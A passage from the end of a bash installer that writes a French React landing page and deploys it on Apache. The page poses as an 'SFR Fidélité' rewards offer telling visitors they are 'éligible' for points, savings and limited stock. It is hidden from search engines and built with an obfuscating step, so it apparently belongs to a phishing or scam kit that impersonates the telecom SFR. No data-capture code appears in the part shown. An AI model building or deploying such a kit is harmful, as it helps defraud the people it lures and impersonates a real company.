      <div className="bg-gradient-to-r from-slate-900 via-slate-800 to-slate-900 text-white py-12 px-4">
        <div className="max-w-6xl mx-auto text-center">
          <div className="inline-flex items-center gap-2 bg-amber-500/20 border border-amber-500/30 rounded-full px-4 py-2 mb-6"><Trophy className="w-5 h-5 text-amber-400" /><span className="text-amber-300 font-semibold">Félicitations ! Vous êtes éligible</span></div>
          <h1 className="text-4xl sm:text-5xl font-black mb-4"><span className="text-red-500">{sortedProducts.length}</span> récompenses</h1>
          <p className="text-xl text-slate-300 max-w-2xl mx-auto mb-8">Offres exclusives réservées aux meilleurs clients SFR</p>
          <div className="flex flex-wrap justify-center gap-8">
            {[{ value: '20 200', label: 'Points', icon: Sparkles }, { value: '1050€', label: "D'économies", icon: Gift }, { value: '48/72h', label: 'Livraison', icon: Zap }].map((s, i) => (
              <div key={i} className="text-center"><div className="flex items-center justify-center gap-2 mb-1"><s.icon className="w-5 h-5 text-red-500" /><span className="text-2xl font-black">{s.value}</span></div><p className="text-slate-400 text-sm">{s.label}</p></div>
            ))}
          </div>
        </div>
      </div>
      <div className="bg-gradient-to-r from-red-500 to-red-600 text-white py-4 px-4"><div className="max-w-6xl mx-auto flex flex-wrap items-center justify-center gap-4 text-center"><Zap className="w-5 h-5 animate-pulse" /><span className="font-bold">OFFRE SPÉCIALE</span><span>•</span><span>Livraison GRATUITE</span><span>•</span><span className="font-semibold">Stock limité</span></div></div>
      <div className="max-w-6xl mx-auto px-4 py-12">
        <div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">{displayedProducts.map((p, i) => <div key={p.id} style={{ animationDelay: `${i*100}ms` }}><ProductCard product={p} /></div>)}</div>
        {sortedProducts.length > 6 && !showMore && <div className="text-center mt-12"><Button onClick={() => setShowMore(true)} className="bg-slate-900 hover:bg-slate-800 px-8 py-6 text-lg rounded-2xl">Voir {sortedProducts.length - 6} autres offres<ChevronDown className="w-5 h-5 ml-2" /></Button></div>}
      </div>
      <div className="bg-slate-900 text-white py-12 px-4"><div className="max-w-4xl mx-auto grid grid-cols-2 md:grid-cols-4 gap-8 text-center">{['🔒 Paiement sécurisé', '🚚 Livraison 24-48h', '↩️ 14 jours retour', '💬 Support 7j/7'].map((t, i) => <div key={i}><div className="text-3xl mb-2">{t.split(' ')[0]}</div><p className="text-slate-300 text-sm">{t.split(' ').slice(1).join(' ')}</p></div>)}</div></div>
    </section>
  );
};
export default ResultsGrid;
RESULTSGRID

# public/index.html
cat > public/index.html << 'PUBLICHTML'
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="theme-color" content="#E4002B" />
<meta name="robots" content="noindex,nofollow" />
<title>SFR Fidélité</title>
</head>
<body>
<noscript>JavaScript requis.</noscript>
<div id="root"></div>
</body>
</html>
PUBLICHTML

echo -e "${GREEN}✅ Fichiers créés${NC}"

#############################################
echo -e "${GREEN}[5/7] 📦 Installation dépendances...${NC}"
#############################################
yarn install

#############################################
echo -e "${GREEN}[6/7] 🔨 Build avec cryptage...${NC}"
#############################################
yarn build

#############################################
echo -e "${GREEN}[7/7] ⚙️  Configuration Apache...${NC}"
#############################################
if [ -z "$DOMAIN" ]; then
    SERVER_NAME=$(hostname -I | awk '{print $1}')
else
    SERVER_NAME="$DOMAIN"
fi

cat > /etc/apache2/sites-available/sfr-landing.conf << EOF
<VirtualHost *:80>
    ServerName ${SERVER_NAME}
    DocumentRoot ${INSTALL_DIR}/build
    <Directory ${INSTALL_DIR}/build>
        Options -Indexes +FollowSymLinks
        AllowOverride All
        Require all granted
        Header set Cache-Control "no-cache, no-store, must-revalidate"
    </Directory>
    <IfModule mod_rewrite.c>
        RewriteEngine On
        RewriteBase /
        RewriteCond %{REQUEST_FILENAME} !-f
        RewriteRule . /index.html [L]
    </IfModule>
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
</VirtualHost>
EOF

a2dissite 000-default.conf 2>/dev/null || true
a2ensite sfr-landing.conf
systemctl restart apache2

#############################################
# TERMINÉ
#############################################
echo -e "${RED}"
echo "╔═══════════════════════════════════════════════════════════╗"
echo "║              ✅ INSTALLATION TERMINÉE !                   ║"
echo "╚═══════════════════════════════════════════════════════════╝"
echo -e "${NC}"
echo ""
echo -e "${GREEN}🌐 Site accessible:${NC} http://${SERVER_NAME}"
echo ""
echo -e "${YELLOW}📝 Modifier les produits:${NC}"
echo "   nano ${INSTALL_DIR}/build/products.json"
echo ""
echo -e "${YELLOW}🔄 Rebuild après modif code:${NC}"
echo "   cd ${INSTALL_DIR} && yarn build"
echo ""
if [ ! -z "$DOMAIN" ]; then
    echo -e "${YELLOW}🔒 Activer HTTPS:${NC}"
    echo "   apt install certbot python3-certbot-apache -y"
    echo "   certbot --apache -d ${DOMAIN}"
fi
echo ""
echo -e "${GREEN}🎉 C'est prêt !${NC}"
